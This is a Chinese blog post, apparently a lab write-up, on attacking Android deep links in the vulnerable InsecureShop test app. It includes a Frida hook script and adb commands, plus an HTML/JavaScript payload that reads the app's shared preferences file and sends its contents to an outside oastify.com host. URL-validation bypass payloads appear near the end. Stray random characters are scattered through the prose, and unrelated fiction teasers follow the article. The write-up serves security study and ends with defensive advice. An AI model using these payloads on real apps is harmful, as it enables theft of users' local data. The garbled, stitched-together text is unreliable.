Android Deep Link 攻擊面

目錄結(jié)構(gòu)

[Deep Link介紹](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#deep-link介紹)

  • [概念](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#概念)
  • [應(yīng)用場景](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#應(yīng)用場景)

[提取并調(diào)用APP中的Deep Link](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#提取并調(diào)用app中的deep-link)

  • [方法一:從AndroidManifest中提取](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#方法一:從androidmanifest中提取)
  • [方法二:使用MobSF](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#方法二:使用mobsf)
  • [方法三:使用Frida](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#方法三:使用frida)
  • [方法四:網(wǎng)頁](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#方法四:網(wǎng)頁)
  • [調(diào)用](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#調(diào)用)

[攻擊面分析](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#攻擊面分析)

  • [URL無驗(yàn)證](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#url無驗(yàn)證)
  • [弱主機(jī)驗(yàn)證](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#弱主機(jī)驗(yàn)證)
  • [竊取本地?cái)?shù)據(jù)](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#竊取本地?cái)?shù)據(jù))
  • [其他](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#其他)
    • [弱主機(jī)驗(yàn)證-升級(jí)版](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#弱主機(jī)驗(yàn)證-升級(jí)版)

[防護(hù)建議](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#防護(hù)建議)

[參考鏈接](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#參考鏈接)

1.1. Deep Link介紹

1.1.1. 概念

Android Deep Link(深層鏈接) 是一種特殊的鏈接協(xié)議耀怜,主要用于在應(yīng)用程序之間導(dǎo)航和交互美莫,使用 Deep Link 可以從一個(gè)APP跳轉(zhuǎn)到另一個(gè)APP中相應(yīng)的頁面,實(shí)現(xiàn)APP間的無縫跳轉(zhuǎn)瓣窄。

舉個(gè)大家熟悉的例子,瀏覽器打開知乎時(shí)纳鼎,會(huì)提示“打開App”俺夕,點(diǎn)擊后,如果安裝過知乎則會(huì)直接跳到應(yīng)用的對(duì)應(yīng)頁面贱鄙,如果沒安裝則跳轉(zhuǎn)到下載應(yīng)用頁劝贸。

[

image-20230508下午22700233
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午22700233.png)

不過需要注意的是,上面的 *沒安裝則跳轉(zhuǎn)到下載應(yīng)用頁*Deferred deeplink(延遲深度鏈接)贰逾,他和基礎(chǔ)的deeplink相比悬荣,如果用戶沒有下載APP,則引導(dǎo)用戶下載安裝該APP疙剑,且在安裝啟動(dòng)后立即跳轉(zhuǎn)到指定的頁面或功能中氯迂。

Deferred Deep Link 可以提高用戶的體驗(yàn)和應(yīng)用程序的轉(zhuǎn)化率,因?yàn)樗梢宰層脩糁苯犹D(zhuǎn)到指定的頁面或功能言缤,而無需手動(dòng)查找嚼蚀。

1.1.2. 應(yīng)用場景

  • 一鍵跳轉(zhuǎn): 在應(yīng)用內(nèi)部或應(yīng)用外部直接跳轉(zhuǎn)到指定頁面或執(zhí)行特定操作的功能。
  • 傳參安裝: 在應(yīng)用市場或者推廣渠道傳遞參數(shù)管挟,以便在用戶安裝應(yīng)用后轿曙,應(yīng)用可以根據(jù)傳遞的參數(shù)自動(dòng)進(jìn)行初始化或者展示特定頁面。
  • 分享閉環(huán): 在應(yīng)用內(nèi)分享一個(gè)商品鏈接僻孝,用戶點(diǎn)擊鏈接可以直接跳轉(zhuǎn)到商品詳情頁面导帝。
  • 無碼邀請: 在應(yīng)用內(nèi)點(diǎn)擊邀請好友的按鈕,可以生成一個(gè)唯一的邀請鏈接穿铆,并在邀請過程中跳轉(zhuǎn)到應(yīng)用內(nèi)的注冊頁面您单。
  • 渠道追蹤: 通過deeplink跳轉(zhuǎn)到應(yīng)用市場,可以記錄該用戶從哪個(gè)推廣渠道下載應(yīng)用荞雏,并將該信息傳遞給應(yīng)用后臺(tái)進(jìn)行數(shù)據(jù)統(tǒng)計(jì)和分析虐秦。

1.2. 提取并調(diào)用APP中的Deep Link

測試APP:https://github.com/hax0rgb/InsecureShop/releases

1.2.1. 方法一:從AndroidManifest中提取

AndroidManifest.xml中尋找android:scheme

[

deeplink
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午33041378.png)

可以看出,使用insecureshop://com.insecureshop/可以啟動(dòng)com.insecureshop.WebViewActivity這個(gè)組件凤优。

1.2.2. 方法二:使用MobSF

[

deeplink
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午41306698.png)

1.2.3. 方法三:使用Frida

通過frida hook進(jìn)行監(jiān)聽悦陋,js腳本如下

//Modified version of <https://codeshare.frida.re/@leolashkevych/android-deep-link-observer/>
//frida -U -p pid -l script.js
// Define a global object to store previously seen intents
var seenIntents = {};
Java.perform(function() {
    var Intent = Java.use("android.content.Intent");
    Intent.getData.implementation = function() {
        var action = this.getAction() !== null ? this.getAction().toString() : false;
        if (action) {
            // Create a unique key for the current intent by concatenating its action and data URI
            var key = action + '|' + (this.getData() !== null ? this.getData().toString() : '');
            // Check if this intent has been seen before
            if (seenIntents.hasOwnProperty(key)) {
                return this.getData();
            } else {
                // Mark this intent as seen by adding it to the global object
                seenIntents[key] = true;
                console.log("[*] Intent.getData() was called");
                console.log("[*] Activity: " + (this.getComponent() !== null ? this.getComponent().getClassName() : "unknown"));
                console.log("[*] Action: " + action);
                var uri = this.getData();
                if (uri !== null) {
                    console.log("\\n[*] Data");
                    uri.getScheme() && console.log("- Scheme:\\t" + uri.getScheme() + "://");
                    uri.getHost() && console.log("- Host:\\t\\t/" + uri.getHost());
                    uri.getQuery() && console.log("- Params:\\t" + uri.getQuery());
                    uri.getFragment() && console.log("- Fragment:\\t" + uri.getFragment());
                    console.log("\\n\\n");
                } else {
                    console.log("[-] No data supplied.");
                }
            }
        }
        return this.getData();
    }
});

hook

# 找到system的pid
frida-ps -U | grep system_server
# hook
frida -U -l deeplink.js -p 7309

[

hook
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午92637802.png)

1.2.4. 方法四:網(wǎng)頁

這個(gè)方法不是很好用,但是有助于在挖掘的時(shí)候發(fā)現(xiàn)一些deep link

還是以知乎為例筑辨,打開控制臺(tái)俺驶,點(diǎn)擊“打開APP”后,觀察報(bào)錯(cuò)挖垛,就可以拿到對(duì)應(yīng)的deep link痒钝。

[

error
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午94925595.png)

1.2.5. 調(diào)用

一般為了方便秉颗,使用adb進(jìn)行調(diào)用,命令如下:

adb shell am start -W -a android.intent.action.VIEW -d <deeplink>

也可以寫一個(gè)html送矩,然后讓手機(jī)訪問后點(diǎn)擊調(diào)用(模擬真實(shí)的攻擊環(huán)境)

<a href="<deeplink>">Click</a>

但是調(diào)用前蚕甥,我們還需要拿到對(duì)應(yīng)的路由和參數(shù),跟蹤到對(duì)應(yīng)的組件中栋荸,分析如何構(gòu)造菇怀,詳見[下方舉例](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#url無驗(yàn)證)。

[

analysis
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午43124352.png)

1.3. 攻擊面分析

還是需要根據(jù)具體情況具體分析晌块,看自己可控的部分有哪些爱沟。

1.3.1. URL無驗(yàn)證

完全沒有驗(yàn)證加載的URL地址。

分析如圖:

  1. 如果路由是/web匆背,則會(huì)進(jìn)入else
  2. 從參數(shù)url中取值給data
  3. 通過webview加載data

[

analysis
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午43554059.png)

所以利用調(diào)用的命令如下:

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://blog.gm7.org/"

效果如下呼伸,成功打開了我的博客

[

open blog
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午44459739.png)

1.3.2. 弱主機(jī)驗(yàn)證

驗(yàn)證了HOST,但可以被繞過钝尸。

分析如圖:

  1. 路由不是/web但路由是/webview
  2. 從參數(shù)url中取值給queryParameter
  3. 判斷queryParameter是否以insecureshopapp.com結(jié)尾的
  4. 如果是括享,就把url的值賦值給data
  5. 通過webview加載data

[

analysis
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午50657041.png)

這里只是要求了結(jié)尾必須出現(xiàn)特定的字符串,所以很簡單珍促,如:

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/webview?url=https://blog.gm7.org/?insecureshopapp.com"

就是常規(guī)的URL跳轉(zhuǎn)繞過铃辖,可以用?,也可以用#猪叙,還可以用參數(shù)格式a=insecureshopapp.com等等娇斩。

[

raoguo
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午51343648.png)

1.3.3. 竊取本地?cái)?shù)據(jù)

在上面2個(gè)基礎(chǔ)上進(jìn)行深入利用,但我感覺有點(diǎn)雞肋穴翩,因?yàn)閔ttp協(xié)議無法跨域到file協(xié)議犬第,就只能從file協(xié)議跨到file協(xié)議

上述2處其實(shí)都和URL跳轉(zhuǎn)差不多,可以控制跳轉(zhuǎn)到任意網(wǎng)站中芒帕,但這里由于是在手機(jī)客戶端上執(zhí)行的瓶殃,所以也可以嘗試通過file協(xié)議訪問到手機(jī)本地的一些敏感文件,從而嘗試竊取副签。

不過要竊取本地文件,有2個(gè)前置條件:

  1. setAllowUniversalAccessFromFileURLs(true):默認(rèn)情況下基矮,Android WebView不允許跨域訪問本地文件系統(tǒng)淆储,即getAllowUniversalAccessFromFileURLs()方法的返回值為false,如果要在WebView中允許跨域訪問本地文件系統(tǒng)家浇,則需要使用setAllowUniversalAccessFromFileURLs()方法來設(shè)置該選項(xiàng)為true
  2. setJavaScriptEnabled(true):默認(rèn)情況下本砰,WebView 不支持 JavaScript代碼執(zhí)行,如果想要支持js代碼钢悲,就需要調(diào)用setJavaScriptEnabled(true)這個(gè)方法点额,開啟js代碼執(zhí)行舔株。

在漏洞環(huán)境中,這兩個(gè)條件都是滿足的还棱,也就可以開始竊取了载慈。

[

true
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午60110068.png)


假設(shè)存在敏感文件:/data/data/com.insecureshop/shared_prefs/Prefs.xml

然后我們進(jìn)行加載敏感文件:

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/Prefs.xml"

如下圖,能訪問到本地的文件珍手。

[

info
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午53116240.png)

但僅僅是這樣還不夠办铡,因?yàn)橹荒茉L問到,不能說是竊取了琳要,因此需要進(jìn)一步通過js來獲取數(shù)據(jù)寡具。

編寫html,將其保存為hello.html

 <script type="text/javascript">
        function theftFile(path, callback) {
          var req = new XMLHttpRequest();

          req.open("GET", "file://" + path, true);
          req.onload = function(e) {
            callback(req.responseText);
          }
          req.onerror = function(e) {
            callback(null);
          }
          req.send();
        }

        var file = "/data/data/com.insecureshop/shared_prefs/Prefs.xml";

        theftFile(file, function(contents) {
            location.href = "http://x42yrqsoq9fo74gv3bqtbfhfx63yrn.oastify.com/?data=" + encodeURIComponent(contents);
        });
    </script>

將其上傳到可訪問的目錄下稚补,然后通過webview來加載這個(gè)html

adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/hello.html"

[

fileread
](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.assets/image-20230508下午90956530.png)

成功獲取到了數(shù)據(jù)童叠。

                                Note              

這里只能從file協(xié)議到file協(xié)議才可以成功,如果從http協(xié)議到file協(xié)議课幕,異常日志為:Cross origin requests are only supported for protocol schemes: http, data, chrome, https.

所以這里也是為什么認(rèn)為利用比較雞肋的地方厦坛。

1.3.4. 其他

弱主機(jī)驗(yàn)證-升級(jí)版

通過uri.getHost()獲取host

 private boolean isValidUrl(String url) {
    Uri uri = Uri.parse(url);
    return "legitimate.com".equals(uri.getHost());
}

繞過payload,通過其他協(xié)議撰豺。

javascript://legitimate.com/%0aalert(1)
file://legitimate.com/sdcard/exploit.html
content://legitimate.com/

1.4. 防護(hù)建議

  • 對(duì)傳入的內(nèi)容進(jìn)行檢查清洗粪般,根據(jù)業(yè)務(wù)要求設(shè)置白名單等。
  • 如果setJavaScriptEnabled設(shè)置為true污桦,則要對(duì)加載的JS內(nèi)容嚴(yán)格驗(yàn)證亩歹。
  • 盡可能的將如下函數(shù)的返回值設(shè)置為False
    • getAllowFileAccess
    • getAllowFileAccessFromFileURLs
    • getAllowUniversalAccessFromFileURLs

1.5. 參考鏈接

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市凡橱,隨后出現(xiàn)的幾起案子小作,更是在濱河造成了極大的恐慌,老刑警劉巖稼钩,帶你破解...
    沈念sama閱讀 219,490評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件顾稀,死亡現(xiàn)場離奇詭異,居然都是意外死亡坝撑,警方通過查閱死者的電腦和手機(jī)静秆,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,581評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來巡李,“玉大人抚笔,你說我怎么就攤上這事∏壤梗” “怎么了殊橙?”我有些...
    開封第一講書人閱讀 165,830評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我膨蛮,道長叠纹,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,957評(píng)論 1 295
  • 正文 為了忘掉前任敞葛,我火速辦了婚禮誉察,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘制肮。我一直安慰自己冒窍,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,974評(píng)論 6 393
  • 文/花漫 我一把揭開白布豺鼻。 她就那樣靜靜地躺著综液,像睡著了一般。 火紅的嫁衣襯著肌膚如雪儒飒。 梳的紋絲不亂的頭發(fā)上谬莹,一...
    開封第一講書人閱讀 51,754評(píng)論 1 307
  • 那天,我揣著相機(jī)與錄音桩了,去河邊找鬼附帽。 笑死,一個(gè)胖子當(dāng)著我的面吹牛井誉,可吹牛的內(nèi)容都是我干的蕉扮。 我是一名探鬼主播,決...
    沈念sama閱讀 40,464評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼颗圣,長吁一口氣:“原來是場噩夢啊……” “哼喳钟!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起在岂,我...
    開封第一講書人閱讀 39,357評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤奔则,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后蔽午,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體易茬,經(jīng)...
    沈念sama閱讀 45,847評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,995評(píng)論 3 338
  • 正文 我和宋清朗相戀三年及老,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了抽莱。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,137評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡骄恶,死狀恐怖岸蜗,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情叠蝇,我是刑警寧澤,帶...
    沈念sama閱讀 35,819評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站悔捶,受9級(jí)特大地震影響铃慷,放射性物質(zhì)發(fā)生泄漏蝎毡。R本人自食惡果不足惜跺株,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,482評(píng)論 3 331
  • 文/蒙蒙 一渣玲、第九天 我趴在偏房一處隱蔽的房頂上張望进鸠。 院中可真熱鬧姐刁,春花似錦沪编、人聲如沸贫途。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,023評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽萤悴。三九已至,卻和暖如春皆的,著一層夾襖步出監(jiān)牢的瞬間覆履,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,149評(píng)論 1 272
  • 我被黑心中介騙來泰國打工费薄, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留硝全,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,409評(píng)論 3 373
  • 正文 我出身青樓楞抡,卻偏偏與公主長得像伟众,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子召廷,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,086評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 目錄介紹 01.基礎(chǔ)組件(19篇) 02.IPC機(jī)制(7篇) 03.View原理(9篇) 04.動(dòng)畫機(jī)制(2篇) ...
    i小灰閱讀 2,948評(píng)論 1 85
  • 目錄介紹 01.基礎(chǔ)組件(9篇) 02.IPC機(jī)制(7篇) 03.View原理(9篇) 04.動(dòng)畫機(jī)制(2篇) 0...
    楊充211閱讀 1,193評(píng)論 0 5
  • 今天在看Google關(guān)于Android Studio 2.0的視頻的時(shí)候凳厢,提到了一個(gè)feature:支持Deep ...
    MarkZhai閱讀 21,899評(píng)論 4 29
  • 你的支持對(duì)我意義重大梗顺!?? Hi泡孩,我是旭銳。本文已收錄到 GitHub · Android-NoteBook[htt...
    彭旭銳閱讀 3,043評(píng)論 2 3
  • 開篇 前端開發(fā)是一個(gè)非常特殊的行業(yè)寺谤,它的歷史實(shí)際上不是很長仑鸥,但是知識(shí)之繁雜,技術(shù)迭代速度之快是其他技術(shù)所不能比擬的...
    Vicky丶Amor閱讀 1,292評(píng)論 1 22